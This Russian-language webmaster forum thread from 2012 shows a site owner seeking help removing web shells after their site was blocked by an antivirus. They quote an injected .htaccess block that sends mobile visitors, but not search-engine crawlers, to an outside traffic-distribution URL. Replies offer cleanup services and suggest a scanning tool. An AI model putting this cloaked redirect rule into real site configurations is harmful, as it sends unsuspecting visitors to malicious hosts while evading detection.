X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

Открыть тему
Тема закрыта
> Требуется человек, который избавит от шеллов и прочей нечистоты, подмена .htaccess
AraDjan
AraDjan
Topic Starter сообщение 9.12.2012, 11:28; Ответить: AraDjan
Сообщение #1


Доброе время суток. Нужен человек который избавит меня от нечисти на vps'ке и найдет все следы деятельности шелла (возможно во внутренних папках создан дор и тп)
Всё началось с того, что однажды у меня на одном сайте начали подменять баннеры. Я обратился к человеку, который сказал, что всё избавит и успокоился.
На днях ко мне обратились читатели одного сайта и сказали, что он заблокирован касперским. Я отписал в техподдержку антивируса, на что мне ответили, чтобы я посмотрела на .htaccess
В htaccess я увидел подобный код:
RewriteEngine   on
RewriteCond    %{HTTP_USER_AGENT}  (android|midp|j2me|symbian|series\ 60|symbos|windows\ mobile|windows\ ce|ppc|smartphone|blackberry|mtk|bada|windows\ phone)  [NC]
RewriteCond    %{HTTP_USER_AGENT}  !(accoona|ia_archiver|antabot|ask\ jeeves|baidu|dcpbot|eltaindexer|feedfetcher|gamespy|gigabot|googlebot|gsa-crawler|grub-client|gulper|slurp|mihalism|msnbot|worldindexer|ooyyo|pagebull|scooter|w3c_vali
dator|jigsaw|webalta|yahoofeedseeker|yahoo!\ slurp|mmcrawler|yandexbot|yandeximages|yandexvideo|yandexmedia|yandexblogs|yande
xaddurl|yandexfavicons|yandexdirect|yandexmetrika|yandexcatalog|yandexnews|yande
x
imageresizer)    [NC]
RewriteRule    (.*)   http://thirdtds.info/fuck.php?sid=1    [L,R=302]

Этот код не только встретился на данном домене
Помимо этого в папках есть файл .DS_Store, если открыть его в исп менеджере как текстовик, то будет подобная надпись: Bud1†ontent
wp-contentdsclbool @Ђ @Ђ @Ђ @E†DSDB `А @Ђ @Ђ @

Сообщение отредактировал AraDjan - 9.12.2012, 11:28


--------------------
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Rxp
Rxp
сообщение 9.12.2012, 12:20; Ответить: Rxp
Сообщение #2


ТС, ваша проблема распростарненная, если необходима помощь стучите првоерим сайт на все виды вирусов + дадим рекомендации!


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Hallboy222
Hallboy222
сообщение 9.12.2012, 12:38; Ответить: Hallboy222
Сообщение #3


.DS_Store - правили с Mac OS.
Проверьте самостоятельно http://revisium.com/ai/ изначально этим скриптом. Плюс не помешало бы на последнюю версию обновиться и шаблончик проверьте на бекдоры.


Поблагодарили: (1)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
DukeNukem
DukeNukem
сообщение 9.12.2012, 13:07; Ответить: DukeNukem
Сообщение #4


485477439 пишите, почищу.


--------------------
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Открыть тему
Тема закрыта
2 чел. читают эту тему (гостей: 2, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Открытая тема (нет новых ответов) Требуется помощь по сайту на "ВордПресс"
Закрылся доступ в панель администратора
13 Tia2 1995 Сегодня, 12:06
автор: diviner99
Открытая тема (нет новых ответов) Требуется копирайтер-постер
11 Hanj 2571 2.4.2024, 12:40
автор: Skyworker
Открытая тема (нет новых ответов) требуется помощь с themasoftware (Темапостером)
0 Taylor 614 16.3.2024, 18:41
автор: Taylor
Открытая тема (нет новых ответов) Крауд-маркетинг который работает | Эффективные Ру-ссылки
1 Azyuka 1033 13.2.2024, 19:36
автор: tascha56
Открытая тема (нет новых ответов) Требуется контент-менеджер
1 Grimov 1156 8.2.2024, 9:54
автор: projectadmin


 



RSS Текстовая версия Сейчас: 16.4.2024, 13:00
Дизайн